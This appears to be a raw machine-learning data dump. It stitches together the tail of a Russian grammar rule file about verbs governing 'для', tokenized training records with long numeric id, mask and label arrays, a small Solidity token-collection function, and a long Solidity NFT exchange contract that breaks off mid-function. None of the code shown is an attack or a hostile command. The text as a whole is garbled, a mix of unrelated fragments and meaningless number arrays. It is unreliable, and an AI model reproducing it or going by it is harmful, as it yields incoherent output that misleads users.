для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
притаиться в темноте
rus_verbs:притаиться{},
5,481,321
[ 1, 145, 128, 146, 227, 145, 121, 146, 229, 145, 113, 145, 121, 146, 229, 146, 239, 146, 228, 146, 242, 225, 145, 115, 225, 146, 229, 145, 118, 145, 125, 145, 126, 145, 127, 146, 229, 145, 118, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 128, 146, 227, 145, 121, 146, 229, 145, 113, 145, 121, 146, 229, 146, 239, 146, 228, 146, 242, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/5/0xB9524129FE5D43aC921f1174233D27d1eb1563e8/sources/RainbowTokenBatchSender.sol
@dev Sends occasional airdrop tokens to the owner
function collect(IERC20Transfer token, uint amount) external { require(_isEntered == false, "already entered"); _isEntered = true; token.transfer(_owner, amount); _isEntered = false; }
16,865,787
[ 1, 10501, 9145, 345, 285, 287, 279, 6909, 1764, 2430, 358, 326, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3274, 12, 45, 654, 39, 3462, 5912, 1147, 16, 2254, 3844, 13, 3903, 288, 203, 3639, 2583, 24899, 291, 10237, 329, 422, 629, 16, 315, 17583, 16219, 8863, 203, 3639, 389, 291, 10237, 329, 273, 638, 31, 203, 3639, 1147, 18, 13866, 24899, 8443, 16, 3844, 1769, 203, 3639, 389, 291, 10237, 329, 273, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.26; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library ArrayUtils { /** * Replace bytes in an array with bytes in another array, guarded by a bitmask * Efficiency of this function is a bit unpredictable because of the EVM's word-specific model (arrays under 32 bytes will be slower) * * @dev Mask must be the size of the byte array. A nonzero byte means the byte array can be changed. * @param array The original array * @param desired The target array * @param mask The mask specifying which bits can be changed * @return The updated byte array (the parameter will be modified inplace) */ function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask) internal pure { require(array.length == desired.length); require(array.length == mask.length); uint words = array.length / 0x20; uint index = words * 0x20; assert(index / 0x20 == words); uint i; for (i = 0; i < words; i++) { /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */ assembly { let commonIndex := mul(0x20, add(1, i)) let maskValue := mload(add(mask, commonIndex)) mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))) } } /* Deal with the last section of the byte array. */ if (words > 0) { /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */ i = words; assembly { let commonIndex := mul(0x20, add(1, i)) let maskValue := mload(add(mask, commonIndex)) mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))) } } else { /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise. (bounds checks could still probably be optimized away in assembly, but this is a rare case) */ for (i = index; i < array.length; i++) { array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]); } } } /** * Test if two arrays are equal * @param a First array * @param b Second array * @return Whether or not all bytes in the arrays are equal */ function arrayEq(bytes memory a, bytes memory b) internal pure returns (bool) { return keccak256(a) == keccak256(b); } /** * Unsafe write byte array into a memory location * * @param index Memory location * @param source Byte array to write * @return End memory index */ function unsafeWriteBytes(uint index, bytes source) internal pure returns (uint) { if (source.length > 0) { assembly { let length := mload(source) let end := add(source, add(0x20, length)) let arrIndex := add(source, 0x20) let tempIndex := index for { } eq(lt(arrIndex, end), 1) { arrIndex := add(arrIndex, 0x20) tempIndex := add(tempIndex, 0x20) } { mstore(tempIndex, mload(arrIndex)) } index := add(index, length) } } return index; } /** * Unsafe write address into a memory location * * @param index Memory location * @param source Address to write * @return End memory index */ function unsafeWriteAddress(uint index, address source) internal pure returns (uint) { uint conv = uint(source) << 0x60; assembly { mstore(index, conv) index := add(index, 0x14) } return index; } /** * Unsafe write address into a memory location using entire word * * @param index Memory location * @param source uint to write * @return End memory index */ function unsafeWriteAddressWord(uint index, address source) internal pure returns (uint) { assembly { mstore(index, source) index := add(index, 0x20) } return index; } /** * Unsafe write uint into a memory location * * @param index Memory location * @param source uint to write * @return End memory index */ function unsafeWriteUint(uint index, uint source) internal pure returns (uint) { assembly { mstore(index, source) index := add(index, 0x20) } return index; } /** * Unsafe write uint8 into a memory location * * @param index Memory location * @param source uint8 to write * @return End memory index */ function unsafeWriteUint8(uint index, uint8 source) internal pure returns (uint) { assembly { mstore8(index, source) index := add(index, 0x1) } return index; } /** * Unsafe write uint8 into a memory location using entire word * * @param index Memory location * @param source uint to write * @return End memory index */ function unsafeWriteUint8Word(uint index, uint8 source) internal pure returns (uint) { assembly { mstore(index, source) index := add(index, 0x20) } return index; } /** * Unsafe write bytes32 into a memory location using entire word * * @param index Memory location * @param source uint to write * @return End memory index */ function unsafeWriteBytes32(uint index, bytes32 source) internal pure returns (uint) { assembly { mstore(index, source) index := add(index, 0x20) } return index; } } contract ReentrancyGuarded { bool reentrancyLock = false; /* Prevent a contract function from being reentrant-called. */ modifier reentrancyGuard { if (reentrancyLock) { revert(); } reentrancyLock = true; _; reentrancyLock = false; } } contract TokenRecipient { event ReceivedEther(address indexed sender, uint amount); event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData); /** * @dev Receive tokens and generate a log event * @param from Address from which to transfer tokens * @param value Amount of tokens to transfer * @param token Address of token * @param extraData Additional data to log */ function receiveApproval(address from, uint256 value, address token, bytes extraData) public { ERC20 t = ERC20(token); require(t.transferFrom(from, this, value)); emit ReceivedTokens(from, value, token, extraData); } /** * @dev Receive Ether and generate a log event */ function () payable public { emit ReceivedEther(msg.sender, msg.value); } } contract ExchangeCore is ReentrancyGuarded, Ownable { string public constant name = "StarBlock Exchange Contract"; string public constant version = "1.0"; // NOTE: these hashes are derived and verified in the constructor. bytes32 private constant _EIP_712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; bytes32 private constant _NAME_HASH = 0x908be1d09f2d17dd8812f5561d84e89cc7052e553487116c4cf73793bdba635d; bytes32 private constant _VERSION_HASH = 0xe6bbd6277e1bf288eed5e8d1780f9a50b239e86b153736bceebccf4ea79d90b3; bytes32 private constant _ORDER_TYPEHASH = 0xdba08a88a748f356e8faf8578488343eab21b1741728779c9dcfdc782bc800f8; bytes4 private constant _EIP_1271_MAGIC_VALUE = 0x1626ba7e; // // NOTE: chainId opcode is not supported in solidiy 0.4.x; here we hardcode as 1. // In order to protect against orders that are replayable across forked chains, // either the solidity version needs to be bumped up or it needs to be retrieved // from another contract. uint256 private constant _CHAIN_ID = 1; // Note: the domain separator is derived and verified in the constructor. */ bytes32 public constant DOMAIN_SEPARATOR = _deriveDomainSeparator(); /* The token used to pay exchange fees. */ ERC20 public exchangeToken; /* User registry. */ ProxyRegistry public registry; /* Token transfer proxy. */ TokenTransferProxy public tokenTransferProxy; /* Cancelled / finalized orders, by hash. */ mapping(bytes32 => bool) public cancelledOrFinalized; /* Orders verified by on-chain approval (alternative to ECDSA signatures so that smart contracts can place orders directly). */ /* Note that the maker's nonce at the time of approval **plus one** is stored in the mapping. */ mapping(bytes32 => uint256) private _approvedOrdersByNonce; /* Track per-maker nonces that can be incremented by the maker to cancel orders in bulk. */ // The current nonce for the maker represents the only valid nonce that can be signed by the maker // If a signature was signed with a nonce that's different from the one stored in nonces, it // will fail validation. mapping(address => uint256) public nonces; /* For split fee orders, minimum required protocol maker fee, in basis points. Paid to owner (who can change it). */ uint public minimumMakerProtocolFee = 0; /* For split fee orders, minimum required protocol taker fee, in basis points. Paid to owner (who can change it). */ uint public minimumTakerProtocolFee = 0; /* Recipient of protocol fees. */ address public protocolFeeRecipient; /* Fee method: protocol fee or split fee. */ enum FeeMethod { ProtocolFee, SplitFee } /* Inverse basis point. */ uint public constant INVERSE_BASIS_POINT = 10000; /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } /* An order on the exchange. */ struct Order { /* Exchange address, intended as a versioning mechanism. */ address exchange; /* Order maker address. */ address maker; /* Order taker address, if specified. */ address taker; /* Maker relayer fee of the order, unused for taker order. */ uint makerRelayerFee; /* Taker relayer fee of the order, or maximum taker fee for a taker order. */ uint takerRelayerFee; /* Maker protocol fee of the order, unused for taker order. */ uint makerProtocolFee; /* Taker protocol fee of the order, or maximum taker fee for a taker order. */ uint takerProtocolFee; /* Order fee recipient or zero address for taker order. */ address feeRecipient; /* Fee method (protocol token or split fee). */ FeeMethod feeMethod; /* Side (buy/sell). */ SaleKindInterface.Side side; /* Kind of sale. */ SaleKindInterface.SaleKind saleKind; /* Target. */ address target; /* HowToCall. */ AuthenticatedProxy.HowToCall howToCall; /* Calldata. */ bytes calldata; /* Calldata replacement pattern, or an empty byte array for no replacement. */ bytes replacementPattern; /* Static call target, zero-address for no static call. */ address staticTarget; /* Static call extra data. */ bytes staticExtradata; /* Token used to pay for the order, or the zero-address as a sentinel value for Ether. */ address paymentToken; /* Base price of the order (in paymentTokens). */ uint basePrice; /* Auction extra parameter - minimum bid increment for English auctions, starting/ending price difference. */ uint extra; /* Listing timestamp. */ uint listingTime; /* Expiration timestamp - 0 for no expiry. */ uint expirationTime; /* Order salt, used to prevent duplicate hashes. */ uint salt; /* NOTE: uint nonce is an additional component of the order but is read from storage */ } event OrderApprovedPartOne (bytes32 indexed hash, address exchange, address indexed maker, address taker, uint makerRelayerFee, uint takerRelayerFee, uint makerProtocolFee, uint takerProtocolFee, address indexed feeRecipient, FeeMethod feeMethod, SaleKindInterface.Side side, SaleKindInterface.SaleKind saleKind, address target); event OrderApprovedPartTwo (bytes32 indexed hash, AuthenticatedProxy.HowToCall howToCall, bytes calldata, bytes replacementPattern, address staticTarget, bytes staticExtradata, address paymentToken, uint basePrice, uint extra, uint listingTime, uint expirationTime, uint salt, bool orderbookInclusionDesired); event OrderCancelled (bytes32 indexed hash); event OrdersMatched (bytes32 buyHash, bytes32 sellHash, address indexed maker, address indexed taker, uint price, bytes32 indexed metadata); event NonceIncremented (address indexed maker, uint newNonce); constructor () public { require(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") == _EIP_712_DOMAIN_TYPEHASH); require(keccak256(bytes(name)) == _NAME_HASH); require(keccak256(bytes(version)) == _VERSION_HASH); require(keccak256("Order(address exchange,address maker,address taker,uint256 makerRelayerFee,uint256 takerRelayerFee,uint256 makerProtocolFee,uint256 takerProtocolFee,address feeRecipient,uint8 feeMethod,uint8 side,uint8 saleKind,address target,uint8 howToCall,bytes calldata,bytes replacementPattern,address staticTarget,bytes staticExtradata,address paymentToken,uint256 basePrice,uint256 extra,uint256 listingTime,uint256 expirationTime,uint256 salt,uint256 nonce)") == _ORDER_TYPEHASH); } /** * @dev Derive the domain separator for EIP-712 signatures. * @return The domain separator. */ function _deriveDomainSeparator() private view returns (bytes32) { return keccak256( abi.encode( _EIP_712_DOMAIN_TYPEHASH, // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") _NAME_HASH, // keccak256("StarBlock Exchange Contract") _VERSION_HASH, // keccak256(bytes("1.0")) _CHAIN_ID, // NOTE: this is fixed, need to use solidity 0.5+ or make external call to support! address(this) ) ); } /** * Increment a particular maker's nonce, thereby invalidating all orders that were not signed * with the original nonce. */ function incrementNonce() external { uint newNonce = ++nonces[msg.sender]; emit NonceIncremented(msg.sender, newNonce); } function withdrawMoney() external onlyOwner reentrancyGuard { msg.sender.transfer(address(this).balance); } /** * @dev Change the minimum maker fee paid to the protocol (owner only) * @param newMinimumMakerProtocolFee New fee to set in basis points */ function changeMinimumMakerProtocolFee(uint newMinimumMakerProtocolFee) public onlyOwner { minimumMakerProtocolFee = newMinimumMakerProtocolFee; } /** * @dev Change the minimum taker fee paid to the protocol (owner only) * @param newMinimumTakerProtocolFee New fee to set in basis points */ function changeMinimumTakerProtocolFee(uint newMinimumTakerProtocolFee) public onlyOwner { minimumTakerProtocolFee = newMinimumTakerProtocolFee; } /** * @dev Change the protocol fee recipient (owner only) * @param newProtocolFeeRecipient New protocol fee recipient address */ function changeProtocolFeeRecipient(address newProtocolFeeRecipient) public onlyOwner { protocolFeeRecipient = newProtocolFeeRecipient; } /** * @dev Change exchangeToken (owner only) * @param newExchangeToken New exchangeToken */ function changeExchangeToken(ERC20 newExchangeToken) public onlyOwner { exchangeToken = newExchangeToken; } /** * @dev Transfer tokens * @param token Token to transfer * @param from Address to charge fees * @param to Address to receive fees * @param amount Amount of protocol tokens to charge */ function transferTokens(address token, address from, address to, uint amount) internal { if (amount > 0) { require(tokenTransferProxy.transferFrom(token, from, to, amount)); } } /** * @dev Charge a fee in protocol tokens * @param from Address to charge fees * @param to Address to receive fees * @param amount Amount of protocol tokens to charge */ function chargeProtocolFee(address from, address to, uint amount) internal { transferTokens(exchangeToken, from, to, amount); } /** * @dev Execute a STATICCALL (introduced with Ethereum Metropolis, non-state-modifying external call) * @param target Contract to call * @param calldata Calldata (appended to extradata) * @param extradata Base data for STATICCALL (probably function selector and argument encoding) * @return The result of the call (success or failure) */ function staticCall(address target, bytes memory calldata, bytes memory extradata) public view returns (bool result) { bytes memory combined = new bytes(calldata.length + extradata.length); uint index; assembly { index := add(combined, 0x20) } index = ArrayUtils.unsafeWriteBytes(index, extradata); ArrayUtils.unsafeWriteBytes(index, calldata); assembly { result := staticcall(gas, target, add(combined, 0x20), mload(combined), mload(0x40), 0) } return result; } /** * @dev Hash an order, returning the canonical EIP-712 order hash without the domain separator * @param order Order to hash * @param nonce maker nonce to hash * @return Hash of order */ function hashOrder(Order memory order, uint nonce) internal pure returns (bytes32 hash) { /* Unfortunately abi.encodePacked doesn't work here, stack size constraints. */ uint size = 800; bytes memory array = new bytes(size); uint index; assembly { index := add(array, 0x20) } index = ArrayUtils.unsafeWriteBytes32(index, _ORDER_TYPEHASH); index = ArrayUtils.unsafeWriteAddressWord(index, order.exchange); index = ArrayUtils.unsafeWriteAddressWord(index, order.maker); index = ArrayUtils.unsafeWriteAddressWord(index, order.taker); index = ArrayUtils.unsafeWriteUint(index, order.makerRelayerFee); index = ArrayUtils.unsafeWriteUint(index, order.takerRelayerFee); index = ArrayUtils.unsafeWriteUint(index, order.makerProtocolFee); index = ArrayUtils.unsafeWriteUint(index, order.takerProtocolFee); index = ArrayUtils.unsafeWriteAddressWord(index, order.feeRecipient); index = ArrayUtils.unsafeWriteUint8Word(index, uint8(order.feeMethod)); index = ArrayUtils.unsafeWriteUint8Word(index, uint8(order.side)); index = ArrayUtils.unsafeWriteUint8Word(index, uint8(order.saleKind)); index = ArrayUtils.unsafeWriteAddressWord(index, order.target); index = ArrayUtils.unsafeWriteUint8Word(index, uint8(order.howToCall)); index = ArrayUtils.unsafeWriteBytes32(index, keccak256(order.calldata)); index = ArrayUtils.unsafeWriteBytes32(index, keccak256(order.replacementPattern)); index = ArrayUtils.unsafeWriteAddressWord(index, order.staticTarget); index = ArrayUtils.unsafeWriteBytes32(index, keccak256(order.staticExtradata)); index = ArrayUtils.unsafeWriteAddressWord(index, order.paymentToken); index = ArrayUtils.unsafeWriteUint(index, order.basePrice); index = ArrayUtils.unsafeWriteUint(index, order.extra); index = ArrayUtils.unsafeWriteUint(index, order.listingTime); index = ArrayUtils.unsafeWriteUint(index, order.expirationTime); index = ArrayUtils.unsafeWriteUint(index, order.salt); index = ArrayUtils.unsafeWriteUint(index, nonce); assembly { hash := 